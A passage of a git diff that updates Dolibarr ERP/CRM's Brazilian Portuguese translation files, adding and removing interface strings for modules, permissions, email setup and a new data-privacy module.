      (($reloadedobj = new Task($db)) && ($reloadedobj-> fetch ($object-> id) > 0) && ($secondloadedobj = new Project ($db)) && ($secondloadedobj-> fetch($reloadedobj-> fk_project) > 0)) ? $secondloadedobj-> ref: 'Projeto pai não encontrado' Computedpersistent=Armazenar campo computado ComputedpersistentDesc=Campos extra computados serão armazenados no banco de dados, no entanto, o valor será recalculado somente quando o objeto deste campo for alterado. Se o campo computado depender de outros objetos ou dados globais, esse valor pode estar errado !! ExtrafieldParamHelpselect=Lista de valores deve ser linhas com chave de formato, valor (onde a chave não pode ser '0')

      por exemplo:
      1, value1
      2, value2
      código3, valor3
      ...

      Para que a lista dependa de outra lista de atributos complementares:
      1, valor1 | opções_ pai_list_code : parent_key
      2, valor2 | opções_ pai_list_code : parent_key

      Para ter a lista dependendo de outra lista:
      1, valor1 | parent_list_code : parent_key
      2, value2 | parent_list_code : parent_key @@ -384,7 +382,6 @@ WarningPHPMail=AVISO: A configuração para enviar e-mails do aplicativo está u WarningPHPMailA=- Usar o servidor do provedor de serviços de e-mail aumenta a confiabilidade do seu e-mail, por isso aumenta a entregabilidade sem ser sinalizado como SPAM WarningPHPMailB=- Alguns provedores de serviço de e-mail (como o Yahoo) não permitem que você envie um e-mail de outro servidor que não seja o seu próprio. Sua configuração atual usa o servidor do aplicativo para enviar e-mail e não o servidor de seu provedor de e-mail, portanto, alguns destinatários (aquele compatível com o protocolo DMARC restritivo) perguntarão ao seu provedor de e-mail se podem aceitar seu e-mail e alguns provedores de e-mail (como o Yahoo) pode responder "não" porque o servidor não é deles, então poucos de seus e-mails enviados podem não ser aceitos para entrega (tome cuidado também com a cota de envio de seu provedor de e-mail). WarningPHPMailC=- Usar o servidor SMTP do seu próprio provedor de serviços de e-mail para enviar e-mails também é interessante, portanto, todos os e-mails enviados do aplicativo também serão salvos no diretório "Enviados" da sua caixa de correio. -WarningPHPMailD=Além disso, é recomendável alterar o método de envio de e-mails para o valor "SMTP". Se você realmente deseja manter o método "PHP" padrão para enviar e-mails, ignore este aviso ou remova-o definindo a constante MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP como 1 em Home - Setup - Other. WarningPHPMail2=Se o seu provedor SMTP de e-mail precisar restringir o cliente de e-mail a alguns endereços IP (muito raro), esse é o endereço IP do agente de usuário de e-mail (MUA) para seu aplicativo ERP CRM: %s. WarningPHPMailSPF=Se o nome de domínio em seu endereço de e-mail do remetente estiver protegido por um registro SPF (pergunte ao seu registro de nome de domínio), você deverá adicionar os seguintes IPs no registro SPF do DNS do seu domínio: %s . ClickToShowDescription=Clique para exibir a descrição @@ -481,7 +478,6 @@ Module2400Name=Eventos / Agenda Module2400Desc=Track events. Registre eventos automáticos para fins de rastreamento ou registre eventos manuais ou reuniões. Este é o módulo principal para um bom gerenciamento de relacionamento com clientes ou fornecedores. Module2500Name=SGBD / GCE Module2500Desc=Sistema de Gerenciamento de Documentos / Gerenciamento de Conteúdo Eletrônico. Organização automática de seus documentos gerados ou armazenados. Compartilhe-os quando precisar. -Module2600Name=Serviços API/Web (Servidor SOAP) Module2600Desc=Ativa o servidor de serviços web do Dolibarr Module2610Desc=Permitir que o servidor prestação de serviços de API REST do Dolibarr Module2660Name=Chamar ServiçosWeb (cliente SOAP) @@ -516,7 +512,7 @@ Module60000Desc=Módulo para gerenciar comissão Module62000Name=Termos Internacionais de Comércio Module62000Desc=Adicione recursos para gerenciar Termos Internacionais de Comércio Module63000Desc=Gerenciar recursos (impressoras, carros, salas, ...) para alocar eventos -Permission11=Ler Faturas de Clientes +Module94160Name=Recebimentos Permission12=Criar/Modificar Faturas de Clientes Permission14=Faturas de Clientes Validadas Permission15=Enviar Faturas de Clientes por E-Mail @@ -650,7 +646,7 @@ Permission283=Deletar Contatos Permission286=Exportar Contatos Permission291=Ler Tarifas Permission292=Definir Permissões das Tarifas -Permission301=Criar/modificar códigos de barras +Permission305=Excluir códigos de barras Permission311=Ler Serviços Permission312=Atribuir Serviço no Contrato Permission331=Ler Marcadores de Página @@ -742,7 +738,6 @@ Permission1190=Aprovar pedidos de compra (segunda aprovação) Permission1191=Exportar pedidos de fornecedores e seus atributos Permission1201=Conseguir Resultado de uma Exportação Permission1202=Criar/Modificar uma Exportação -Permission1231=Ler faturas de fornecedores Permission1232=Criar/modificar faturas de fornecedores Permission1234=Excluir faturas de fornecedores Permission1235=Enviar faturas de fornecedores por e-mail @@ -772,11 +767,6 @@ Permission3301=Gerar novos módulos Permission4001=Ler habilidade/trabalho/posição Permission4002=Criar/modificar habilidade/trabalho/posição Permission4003=Excluir habilidade/trabalho/posição -Permission4020=Ler avaliações -Permission4021=Crie/modifique sua avaliação -Permission4022=Validar avaliação -Permission4023=Excluir avaliação -Permission4030=Ver menu de comparação Permission4031=Ler informações pessoais Permission4032=Escreva informações pessoais Permission10001=Leia o conteúdo do site @@ -962,10 +952,8 @@ SetupDescription4= %s -> %s

      Este software é um conj SetupDescription5=Outras entradas do menu de configuração gerenciam parâmetros opcionais. SetupDescriptionLink= %s - %s SetupDescription3b=Parâmetros básicos usados para personalizar o comportamento padrão do seu aplicativo (por exemplo, para recursos relacionados ao país). -SetupDescription4b=Este software é um conjunto de muitos módulos/aplicativos. Os módulos relacionados às suas necessidades devem estar habilitados e configurados. As entradas do menu aparecerão com a ativação desses módulos. AuditedSecurityEvents=Eventos de segurança que são auditados NoSecurityEventsAreAduited=Nenhum evento de segurança é auditado. Você pode habilitá-los no menu %s -Audit=Eventos de segurança InfoOS=Sobre o SO InfoDatabase=Sobre o banco de dados InfoPerf=Sobre Desempenhos @@ -1018,6 +1006,7 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Você deve rodar esse comando n YourPHPDoesNotHaveSSLSupport=Função SSL functions não está disponível no seu PHP DownloadMoreSkins=Mais skins para baixar SimpleNumRefModelDesc=Retorna o número de referência no formato %s yymm-nnnn onde yy é o ano, mm é o mês e nnnn é um número de incremento automático sequencial sem redefinição +AdvancedNumRefModelDesc=Retorna o número de referência no formato %s yymm-nnnn onde yy é o ano, mm é o mês e nnnn é um número de incremento automático sequencial sem redefinição SimpleNumRefNoDateModelDesc=Retorna o número de referência no formato %s-nnnn onde nnnn é um número sequencial de incremento automático sem reinicialização ShowProfIdInAddress=Mostrar ID profissional com endereços ShowVATIntaInAddress=Ocultar número de IVA intracomunitário @@ -1078,7 +1067,6 @@ AddEmailPhoneTownInContactList=Exibir e-mail de contato (ou telefones, se não d FillThisOnlyIfRequired=Exemplo: +2 (Preencha somente se compensar o problema do timezone é experiente) NumberingModules=Modelos de numeração DocumentModules=Modelos de documentos -PasswordGenerationStandard=Retornar uma senha gerada de acordo com o algoritmo Dolibarr interno: %s caracteres contendo números compartilhados e caracteres em minúsculos. PasswordGenerationPerso=Retornar uma senha de acordo com a configuração definida para a sua personalidade. PasswordPatternDesc=Descrição do padrão de senha UsersSetup=Configurações de módulo de usuários @@ -1152,7 +1140,6 @@ AdherentLoginRequired=Gestor de login para cada membro AdherentMailRequired=O e-mail necessário para criar um novo membro MemberSendInformationByMailByDefault=Marque o checkbox para enviar confirmação de correspondência para membros (validação ou nova contribuição) é ativo por default MemberCreateAnExternalUserForSubscriptionValidated=Criar um login de usuário externo para cada inscrição de membro validada. -VisitorCanChooseItsPaymentMode=O visitante pode escolher entre os modos de pagamento disponíveis MEMBER_REMINDER_EMAIL=Ativar lembrete automático por e-mail de assinaturas expiradas. Nota: O módulo %s deve estar ativado e configurado corretamente para enviar lembretes. MembersDocModules=Modelos de documentos para documentos gerados a partir de registro de membro LDAPSetup=Configurações do LDAP @@ -1333,8 +1320,6 @@ ActivateFCKeditor=Editor avançado ativo por: FCKeditorForNotePublic=Usar editor WYSIWIG nos campos de "notas públicas" dos elementos FCKeditorForNotePrivate=Usar editor WYSIWIG nos campos de "notas privadas" dos elementos FCKeditorForCompany=Usar editor WYSIWIG nos campos de descrição dos elementos (exceto produtos/serviços) -FCKeditorForProduct=Usar editor WYSIWIG nos campos de descrição de produtos/serviços -FCKeditorForProductDetails=Criação / edição WYSIWIG de linhas de detalhes de produtos para todas as entidades (propostas, encomendas, facturas, etc ...). Aviso: O uso desta opção neste caso não é recomendado, pois pode criar problemas com caracteres especiais e formatação de página ao construir arquivos PDF. FCKeditorForMailing=Criação/edição do WYSIWIG nos E-Mails massivos (ferramentas->emailing) FCKeditorForUserSignature=criação/edição do WYSIWIG nas assinaturas de usuários FCKeditorForMail=Criação/Edição WYSIWIG para todos os e-mails (exceto Ferramentas->eMailing) @@ -1349,7 +1334,6 @@ DetailId=Menu ID DetailMenuHandler=Gestor de menu onde mostra novo menu DetailMenuModule=Nome do módulo se a entrada do menu vier de um módulo DetailType=Tipo do menu (superior o esquerdo) -DetailUrl=URL onde o menu envia para você (URL absoluta ou link externo com http://) DetailEnabled=Condição para mostra ou não entrar DetailRight=Condição para mostrar menus não autorizados em cinza DetailLangs=Nomes de arquivos lang para código de etiqueta da tradução @@ -1395,7 +1379,6 @@ CashDeskIdWareHouse=Depósito para usar nas vendas StockDecreaseForPointOfSaleDisabledbyBatch=A redução de estoque no PDV não é compatível com o gerenciamento de série / lote do módulo (atualmente ativo), portanto, a redução de estoque é desativada. CashDeskForceDecreaseStockLabel=A redução do estoque de produtos em lote foi forçada. CashDeskForceDecreaseStockDesc=Diminuir primeiro pelo mais antigo e vender por datas. -CashDeskReaderKeyCodeForEnter=Código da chave para "Enter" definido no leitor de código de barras (Exemplo: 13) BookmarkSetup=Configurações do módulo de marcadores NbOfBoomarkToShow=Número máximo de marcadores para mostrar no menu esquerdo WebServicesSetup=Configurações do módulo de serviço de web @@ -1423,7 +1406,6 @@ SuppliersCommandModelMuscadet=Modelo completo do pedido (antiga implementação SuppliersInvoiceModel=Modelo completo da fatura do fornecedor IfSetToYesDontForgetPermission=Se definido como um valor não nulo, não se esqueça de fornecer permissões a grupos ou usuários com permissão para a segunda aprovação GeoIPMaxmindSetup=Configurações do módulo GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Caminho para o arquivo contendo Maxmind ip para tradução do país.
      Exemplos:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb NoteOnPathLocation=Nota que seu ip para o arquivo de dados do país deve estar dentro do diretório do seu PHP que possa ser lido (Verifique a configuração do seu PHP open_basedir e o sistema de permissões). YouCanDownloadFreeDatFileTo=Você pode baixar uma Versão demo do arquivo Maxmind GeoIP do seu país no %s. YouCanDownloadAdvancedDatFileTo=Você também pode baixar uma versão mais completa, com updates do arquivo Maxmind GeoIP do seu país no %s. @@ -1692,12 +1674,10 @@ MailToPartnership=Parceria AGENDA_EVENT_DEFAULT_STATUS=Status de evento padrão ao criar um evento a partir do formulário YouShouldDisablePHPFunctions=Você deve desabilitar funções PHP IfCLINotRequiredYouShouldDisablePHPFunctions=A não ser que você precise executar comandos do sistema via personalizações, você deve desativar as funções do PHP -PHPFunctionsRequiredForCLI=Para efeito de linha de comando (como tarefas agendadas para backup ou executar antivirus), você deve manter as funções PHP NoWritableFilesFoundIntoRootDir=Nenhum arquivo gravável ou diretório de programas comuns foi encontrado em seu diretório raiz (bom) RecommendedValueIs=Recomendado: %s Recommended=Versão Recomendada NotRecommended=Não recomendado -ARestrictedPath=Algum caminho restrito CheckForModuleUpdate=Verificar se há atualizações para módulos externos CheckForModuleUpdateHelp=Esta ação se conectará a editores de módulos externos para verificar se uma nova versão está disponível. ModuleUpdateAvailable=Uma atualização está disponível @@ -1742,7 +1722,6 @@ LateWarningAfter=Aviso "atrasado" após TemplateforBusinessCards=Modelo para um cartão de visita em tamanho diferente InventorySetup=Configuração de inventário ExportUseLowMemoryMode=Use um modo de pouca memória -ExportUseLowMemoryModeHelp=Use o modo de memória baixa para executar o exec do dump (a compactação é feita através de um pipe em vez de na memória PHP). Este método não permite verificar se o arquivo está completo e a mensagem de erro não pode ser relatada se falhar. ModuleWebhookDesc =Interface para capturar gatilhos do dolibarr e enviá-los para uma URL WebhookSetup =Configuração do webhook Settings =Configurações diff --git a/htdocs/langs/pt_BR/banks.lang b/htdocs/langs/pt_BR/banks.lang index ead0d7a907d..5c136b08dbe 100644 --- a/htdocs/langs/pt_BR/banks.lang +++ b/htdocs/langs/pt_BR/banks.lang @@ -96,7 +96,6 @@ DeleteTransaction=Excluir transação ConfirmDeleteTransaction=Você tem certeza que deseja excluir esta transação? ThisWillAlsoDeleteBankRecord=Isto também excluirá as transações geradas PlannedTransactions=Transações planejadas -Graph=Gráficos ExportDataset_banque_1=Entradas bancárias e demonstrações contábeis ExportDataset_banque_2=Comprovante de depósito TransactionOnTheOtherAccount=Transação de outra conta diff --git a/htdocs/langs/pt_BR/bills.lang b/htdocs/langs/pt_BR/bills.lang index 2bb88f290e5..a846be38a01 100644 --- a/htdocs/langs/pt_BR/bills.lang +++ b/htdocs/langs/pt_BR/bills.lang @@ -88,7 +88,6 @@ DoPaymentBack=Insira o reembolso EnterPaymentReceivedFromCustomer=Entrar pagamento recebido de cliente EnterPaymentDueToCustomer=Realizar pagamento devido para cliente DisabledBecauseRemainderToPayIsZero=Desabilitado porque o restante a pagar é zero -PriceBase=Preço base BillStatus=Status de fatura StatusOfGeneratedInvoices=Situação das faturas geradas BillStatusDraft=Rascunho (precisa ser validada) diff --git a/htdocs/langs/pt_BR/companies.lang b/htdocs/langs/pt_BR/companies.lang index 41baf08b8ca..75703cf45c9 100644 --- a/htdocs/langs/pt_BR/companies.lang +++ b/htdocs/langs/pt_BR/companies.lang @@ -30,10 +30,6 @@ Individual=Pessoa física ToCreateContactWithSameName=Irá automaticamente criar um contato/endereço com a mesma informação do terceiro. Na maioria dos casos, mesmo que o terceiro seja uma pessoa física, a criação de um único terceiro é suficiente. ParentCompany=Matriz Subsidiaries=Filiais -ReportByMonth=Relatório por mês -ReportByCustomers=Relatório por cliente -ReportByThirdparties=Relatório por terceiro -ReportByQuarter=Relatório por taxa CivilityCode=Forma de tratamento RegisteredOffice=Escritório registrado Lastname=Sobrenome @@ -52,7 +48,6 @@ Region-State=Região - Estado CountryCode=Código do país CountryId=ID do País Call=Chamar -PhonePro=Telefone comercial PhonePerso=Tel. particular PhoneMobile=Celular No_Email=Recusar e-mails em massa @@ -178,7 +173,6 @@ SupplierCodeShort=Código Fornecedor SupplierCodeDesc=Código do Fornecedor, exclusivo para todos os fornecedores RequiredIfCustomer=Necessário se o terceiro for um cliente ou um possível cliente RequiredIfSupplier=Obrigatório se terceiros são fornecedores -ValidityControledByModule=Validade controlada pelo módulo ProspectToContact=Prospecto de cliente a contactar CompanyDeleted=A empresa "%s" foi excluída do banco de dados. ListOfContacts=Lista de contatos/endereços diff --git a/htdocs/langs/pt_BR/compta.lang b/htdocs/langs/pt_BR/compta.lang index f272f622a09..876aa33a875 100644 --- a/htdocs/langs/pt_BR/compta.lang +++ b/htdocs/langs/pt_BR/compta.lang @@ -150,8 +150,6 @@ CalculationRuleDesc=Para calcular o total do VAT, há dois métodos:
      Métod CalculationRuleDescSupplier=De acordo com o fornecedor, escolha o método apropriado para aplicar a mesma regra de cálculo e obter o mesmo resultado esperado pelo fornecedor. CalculationMode=Forma de cálculo AccountancyJournal=código do Livro de Registro contábil -ACCOUNTING_VAT_PAY_ACCOUNT=Conta da contabilidade padrão para o pagamento de ICMS -ACCOUNTING_ACCOUNT_CUSTOMER=Conta contábil usada para terceiros de clientes ACCOUNTING_ACCOUNT_SUPPLIER_Desc=A conta contábil dedicada definida no cartão de terceiros será usada apenas para a contabilidade da subconta. Este será usado para contabilidade geral e como valor padrão da contabilidade do Contador, se a conta contábil do fornecedor dedicada a terceiros não estiver definida. CloneTaxForNextMonth=Clonar para o proximo mes AddExtraReport=Relatórios extra (adicionar relatório de clientes estrangeiros e nacionais) diff --git a/htdocs/langs/pt_BR/datapolicy.lang b/htdocs/langs/pt_BR/datapolicy.lang new file mode 100644 index 00000000000..f43e1e17337 --- /dev/null +++ b/htdocs/langs/pt_BR/datapolicy.lang @@ -0,0 +1,17 @@ +# Dolibarr language file - Source file is en_US - datapolicy +Module4100Name =Política de privacidade de dados +datapolicySetup =Configuração do módulo de política de privacidade +Deletion =Exclusão de dados +ONE_YEAR =1 ano +DATAPOLICY_TIERS_PROSPECT =Prospecto de cliente +DATAPOLICY_TIERS_PROSPECT_CLIENT =Prospecto/Cliente +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT =Nem prospecto/Nem cliente +DATAPOLICY_CONTACT_PROSPECT =Prospecto de cliente +DATAPOLICY_CONTACT_PROSPECT_CLIENT =Prospecto/Cliente +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT =Nem prospecto/Nem cliente +DATAPOLICY_ADHERENT =Associado +DATAPOLICYMail =Configuração de e-mails +DATAPOLICYSUBJECTMAIL =Título do e-mail +DATAPOLICYCONTENTMAIL =Conteúdo do e-mail +SendAgreement =Enviar e-mails +AllAgreementSend =Todos os e-mails foram enviados diff --git a/htdocs/langs/pt_BR/deliveries.lang b/htdocs/langs/pt_BR/deliveries.lang index ad1c983b4a0..9e3a1f4495f 100644 --- a/htdocs/langs/pt_BR/deliveries.lang +++ b/htdocs/langs/pt_BR/deliveries.lang @@ -2,7 +2,6 @@ Delivery=Entrega DeliveryRef=Ref. entrega DeliveryCard=Cartão de recibo -DeliveryOrder=Recibo de entrega DeliveryStateSaved=Estado de entrega salvo SetDeliveryDate=Indicar a Data de Envio ValidateDeliveryReceipt=Confirmar a Nota de Entrega @@ -12,7 +11,6 @@ DeleteDeliveryReceiptConfirm=Você tem certeza que deseja excluir o comprovante DeliveryMethod=Método de entrega TrackingNumber=Número de rastreamento StatusDeliveryValidated=Recebida -NameAndSignature=Nome e assinatura: GoodStatusDeclaration=Recebi a mercadorias acima em bom estado, Deliverer=Entregador : Sender=Remetente diff --git a/htdocs/langs/pt_BR/ecm.lang b/htdocs/langs/pt_BR/ecm.lang index 3c7bb7eddf3..1b5ed3fa5cb 100644 --- a/htdocs/langs/pt_BR/ecm.lang +++ b/htdocs/langs/pt_BR/ecm.lang @@ -12,7 +12,6 @@ ECMNbOfFilesInSubDir=Numero de arquivos nos subpastas ECMCreationUser=Criado por ECMArea=Área DMS / ECM ECMAreaDesc=A área DMS / ECM (Gerenciamento de documentos / Gerenciamento de conteúdo eletrônico) permite salvar, compartilhar e pesquisar rapidamente todos os tipos de documentos no Dolibarr. -ECMAreaDesc2=* As pastas automáticas são geradas automaticamente quando algum arquivo é adicionado a algum ficheiro do sistema.
      * As pastas manuais podem ser usados ​​para guardar documentos sem ligação a um cadastro do sistema. ECMSectionWasRemoved=A pasta %s foi eliminada ECMSearchByKeywords=Busca usando palavras chave ECMSearchByEntity=Busca por objeto diff --git a/htdocs/langs/pt_BR/loan.lang b/htdocs/langs/pt_BR/loan.lang index 6fb19e2fcd9..678a6abbcec 100644 --- a/htdocs/langs/pt_BR/loan.lang +++ b/htdocs/langs/pt_BR/loan.lang @@ -18,6 +18,3 @@ InterestAmount=Juro CapitalRemain=Capital permanecem TermPaidAllreadyPaid =Este termo já está pago CantModifyInterestIfScheduleIsUsed =Você não pode alterar o interesse se usar o programador -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Capital contabilístico por padrão -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Interesse contabilístico por padrão -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Seguro contabilístico por padrão diff --git a/htdocs/langs/pt_BR/main.lang b/htdocs/langs/pt_BR/main.lang index 600b1b54dad..b0cb5093218 100644 --- a/htdocs/langs/pt_BR/main.lang +++ b/htdocs/langs/pt_BR/main.lang @@ -23,7 +23,6 @@ DatabaseConnection=Login à Base de Dados NoTemplateDefined=Nenhum modelo disponível para este tipo de email CurrentTimeZone=Timezone PHP (do servidor apache) EmptySearchString=Digite critérios na pesquisa -EnterADateCriteria=Insira um critério de data NoRecordFound=Nenhum registro encontrado NoRecordDeleted=Nenhum registro foi deletado NotEnoughDataYet=Sem dados suficientes @@ -50,7 +49,6 @@ ErrorNoVATRateDefinedForSellerCountry=Erro, nenhum tipo de ICMS definido para o ErrorNoSocialContributionForSellerCountry=Erro, nenhum tipo de imposto social / fiscal definidos para o país '%s'. ErrorFailedToSaveFile=Erro, o registo do arquivo falhou. ErrorCannotAddThisParentWarehouse=Voce está tentando adicionar um armazém pai, o qual ja é um filho do armazém existente -FieldCannotBeNegative=O campo "%s" não pode ser negativo MaxNbOfRecordPerPage=Número máx de registros por página NotAuthorized=Você não está autorizado a fazer isso. SelectDate=Selecionar uma data @@ -128,6 +126,7 @@ Hide=ocultar ShowCardHere=Mostrar cartão SearchMenuShortCut=Ctrl + Shift + F QuickAdd=Adição rápida +OpenVerb=Aberto SelectAll=Selecionar tudo Resize=Modificar tamanho ResizeOrCrop=Redimensionar ou cortar @@ -137,11 +136,9 @@ Users=Usuário UserGroup=Grupo de usuários UserGroups=Grupos de usuários NoUserGroupDefined=Nenhum grupo definido pelo usuário -PasswordRetype=Repetir Senha NoteSomeFeaturesAreDisabled=Antenção, só poucos módulos/funcionalidade foram ativados nesta demo NameSlashCompany=Nome / Companhia PersonalValue=Valor Personalizado -OldValue=Valor antigo %s CurrentValue=Valor atual MultiLanguage=Multi Idioma RefOrLabel=Ref. da etiqueta @@ -151,7 +148,6 @@ Model=Modelo de Documento DefaultModel=Modelo de documento padrão Action=Ação About=Acerca de -NumberByMonth=Total de relatórios por mês Limit=Límite Logout=Sair NoLogoutProcessWithAuthMode=No recurso de desconexão aplicativo com modo de autenticação @@ -166,7 +162,6 @@ DateModificationShort=Data Modif. IPModification=Endereço IP da modificação DateLastModification=Última data de modificação DateValidation=Data Validação -DateSigning=Data de assinatura DateDue=Data Vencimento DateValue=Data Valor DateValueShort=Data Valor @@ -200,7 +195,6 @@ UnitPriceHTCurrency=Preço unitário (sem) (Moeda) UnitPriceTTC=Preço Unit. Total PriceU=Preço Unit. PriceUHT=Preço Unit. -PriceUHTCurrency=U.P (líquido) (moeda) PriceUTTC=U.P. (inc. Impostos) Amount=Valor AmountInvoice=Valor Fatura @@ -251,14 +245,12 @@ VATINs=Impostos IGST LT1Type=Tipo de imposto sobre vendas 2 LT2Type=Tipo de imposto sobre vendas 3 VATRate=Taxa ICMS -RateOfTaxN=Taxa de imposto %s VATCode=Codigo do ICMS VATNPR=Valor taxa NPR DefaultTaxRate=Taxa de imposto padrão RemainToPay=Permanecer para pagar Module=Modulo/Aplicacao Modules=Módulos / Aplicações -Filters=Filtros OtherStatistics=Outras estatisticas Favorite=Favorito RefSupplier=Ref. fornecedor @@ -336,7 +328,6 @@ Entities=Entidadees CustomerPreview=Historico Cliente SupplierPreview=Visualização do fornecedor ShowCustomerPreview=Ver Historico Cliente -InternalRef=Ref. interna SeeAll=Ver tudo SendByMail=Envio por e-mail MailSentBy=Mail enviado por @@ -443,7 +434,6 @@ XMoreLines=%s linha(s) escondidas ShowMoreLines=Mostrar mais / menos linhas PublicUrl=URL pública AddBox=Adicionar caixa -SelectElementAndClick=Selecione um elemento e clique em %s PrintFile=Imprimir arquivo %s ShowTransaction=Mostrar entrada na conta bancária ShowIntervention=Mostrar intervençao @@ -477,8 +467,6 @@ BackOffice=Fundo do escritório View=Visão Exports=Exportações IncludeDocsAlreadyExported=Incluir documentos já exportados -ExportOfPiecesAlreadyExportedIsEnable=A exportação de peças já exportadas está habilitada -ExportOfPiecesAlreadyExportedIsDisable=A exportação de peças já exportadas está desabilitada AllExportedMovementsWereRecordedAsExported=Todos as movimentações exportadas foram salvos como exportadas NotAllExportedMovementsCouldBeRecordedAsExported=Nem todos as movimentações exportadas puderam ser salvas como exportadas Miscellaneous=Variados @@ -489,7 +477,6 @@ ViewAccountList=Ver razão ViewSubAccountList=Ver razão da subconta RemoveString=Remover string '%s' SomeTranslationAreUncomplete=Alguns dos idiomas oferecidos podem estar parcialmente traduzidos ou podem conter erros. Ajude a corrigir seu idioma registrando-se em https://transifex.com/projects/p/dolibarr/ para adicionar suas melhorias. -DirectDownloadLink=Link de download público PublicDownloadLinkDesc=Apenas o link é necessário para baixar o arquivo DirectDownloadInternalLink=Link privado para baixar PrivateDownloadLinkDesc=Você precisa estar logado e precisa de permissões para visualizar ou baixar o arquivo @@ -533,6 +520,7 @@ SearchIntoSupplierOrders=Pedidos de compra SearchIntoSupplierProposals=Propostas de fornecedores SearchIntoContracts=Contratos SearchIntoCustomerShipments=Remessas do cliente +SearchIntoKM=Base do conhecimento SearchIntoVendorPayments=Pagamentos do fornecedor CommentLink=Comentarios CommentPage=Espaço para comentarios @@ -544,11 +532,9 @@ Monthly=Por mês Remote=Controlo remoto Deletedraft=Excluir rascunho ConfirmMassDraftDeletion=Confirmação de exclusão de massa de esboço -FileSharedViaALink=Arquivo compartilhado com um link público SelectAThirdPartyFirst=Selecione um terceiro primeiro ... YouAreCurrentlyInSandboxMode=No momento você está no %s modo "caixa de areia" AnalyticCode=Código analitico -ShowCompanyInfos=Mostrar informações da empresa ShowMoreInfos=Mostrar mais informações NoFilesUploadedYet=Por favor, carregue um doc. primeiro SeePrivateNote=Veja avisos privados @@ -556,7 +542,6 @@ PaymentInformation=Informações de Pagamento ValidFrom=Válido de NoRecordedUsers=Sem Usuários ToClose=Para Fechar -ToRefuse=Recusar ToProcess=A processar ToApprove=Para Aprovar GlobalOpenedElemView=Visão Global @@ -586,15 +571,11 @@ DateOfBirth=Data de nascimento SecurityTokenHasExpiredSoActionHasBeenCanceledPleaseRetry=O token de segurança expirou, então a ação foi cancelada. Por favor, tente novamente. UpToDate=Atualizado OutOfDate=Desatualizado -UpdateForAllLines=Atualização para todas as linhas -OnHold=Em espera -Civility=Civilidade -AffectTag=Afetar Tag CreateExternalUser=Criar usuário externo -ConfirmAffectTag=Efeito de etiqueta em massa -ConfirmAffectTagQuestion=Tem certeza de que deseja afetar as tags nos %s registros selecionados? CategTypeNotFound=Nenhum tipo de tag encontrado para o tipo de registro CopiedToClipboard=Copiado para a área de transferência ClientTZ=Fuso Horário do cliente (usuário) Terminate=Concluir Terminated=Encerrado +InternalUser=Usuário Interno +ExternalUser=Usuário Externo diff --git a/htdocs/langs/pt_BR/members.lang b/htdocs/langs/pt_BR/members.lang index c83bc985139..b184d94c318 100644 --- a/htdocs/langs/pt_BR/members.lang +++ b/htdocs/langs/pt_BR/members.lang @@ -65,7 +65,6 @@ MenuMembersStats=Estatísticas NewMemberbyWeb=Novo membro adicionado. Aguardando aprovação NewMemberForm=Formulário para novo membro TurnoverOrBudget=Volume de negócios (para uma empresa) ou de orçamento (para uma fundação) -MEMBER_NEWFORM_PAYONLINE=Ir na página de pagamento online integrado NoEmailSentToMember=Nenhum e-mail enviado para o membro MembershipPaid=Filiação paga pelo período atual (até %s) YouMayFindYourInvoiceInThisEmail=Você pode encontrar sua fatura anexada a este e-mail diff --git a/htdocs/langs/pt_BR/mrp.lang b/htdocs/langs/pt_BR/mrp.lang index e93ba7bf637..8c3cede83dc 100644 --- a/htdocs/langs/pt_BR/mrp.lang +++ b/htdocs/langs/pt_BR/mrp.lang @@ -8,8 +8,7 @@ LatestBOMModified=Última BOM modificada %s LatestMOModified=%s pedidos de manufatura mais recentes modificados Bom=Contas de material BOMsSetup=Configuração do módulo BOM -ListOfBOMs=Lista de BOMs -ListOfManufacturingOrders=Lista de ordens de fabricação +ListOfManufacturingOrders=Ordens de fabricação BOMsNumberingModules=Modelos de numeração para BOM BOMsModelModule=Modelos de documentos lista técnica MOsNumberingModules=Modelos de numeração MO diff --git a/htdocs/langs/pt_BR/projects.lang b/htdocs/langs/pt_BR/projects.lang index 3d2653e0910..e51fe18af1f 100644 --- a/htdocs/langs/pt_BR/projects.lang +++ b/htdocs/langs/pt_BR/projects.lang @@ -104,7 +104,6 @@ OpportunityProbability=Lead: Probabilidade OpportunityProbabilityShort=Probab. de um potencial negócio OpportunityAmount=Lead: Quantidade OpportunityAmountShort=Quantidade de lead -OpportunityWeightedAmount=Valor ponderado da oportunidade OpportunityWeightedAmountShort=Opp. quantidade ponderada OpportunityAmountAverageShort=Valor do potencial negócio OpportunityAmountWeigthedShort=Quantidade de lead ponderada @@ -134,7 +133,6 @@ NotOpenedOpportunitiesShort=Não é um lead aberto OppStatusPROSP=Prospecção OppStatusPROPO=Proposta OppStatusWON=Ganhou -AllowToLinkFromOtherCompany=Permitir vincular projeto de outra empresa

      Valores Suportados:
      - Manter vazio: pode vincular qualquer projeto da empresa (padrão)
      - "todos" pode vincular qualquer projeto, até mesmo projetos de outras empresas
      - Uma lista de IDs de terceiros separados por vírgulas: pode vincular todos os projetos desses terceiros (Exemplo: 123,4795,53)
      LatestModifiedProjects=Últimos projetos modificados %s NoAssignedTasks=Nenhuma tarefa atribuída foi encontrada (atribua projeto/tarefas ao usuário atual na caixa de seleção superior para inserir a hora nele) ThirdPartyRequiredToGenerateInvoice=Um terceiro deve estar definido no projeto para que vc possa faturar contra ele @@ -146,7 +144,6 @@ TimeSpentInvoiced=Tempo gasto faturado TimeSpentForIntervention=Dispêndio de tempo TimeSpentForInvoice=Dispêndio de tempo OneLinePerUser=Uma linha por usuário -ServiceToUseOnLines=Serviço para usar em linhas InvoiceGeneratedFromTimeSpent=Fatura %s foi gerada a partir do tempo gasto no projeto ProjectBillTimeDescription=Verifique se você inseriu a planilha de horas nas tarefas do projeto e planeja gerar faturas a partir da planilha de horas para cobrar do cliente do projeto (não verifique se planeja criar faturas que não sejam baseadas nas planilhas de horas inseridas). Nota: Para gerar fatura, vá na guia 'Tempo gasto' do projeto e selecione as linhas a serem incluídas. ProjectFollowOpportunity=Seguir oportunidade diff --git a/htdocs/langs/pt_BR/propal.lang b/htdocs/langs/pt_BR/propal.lang index 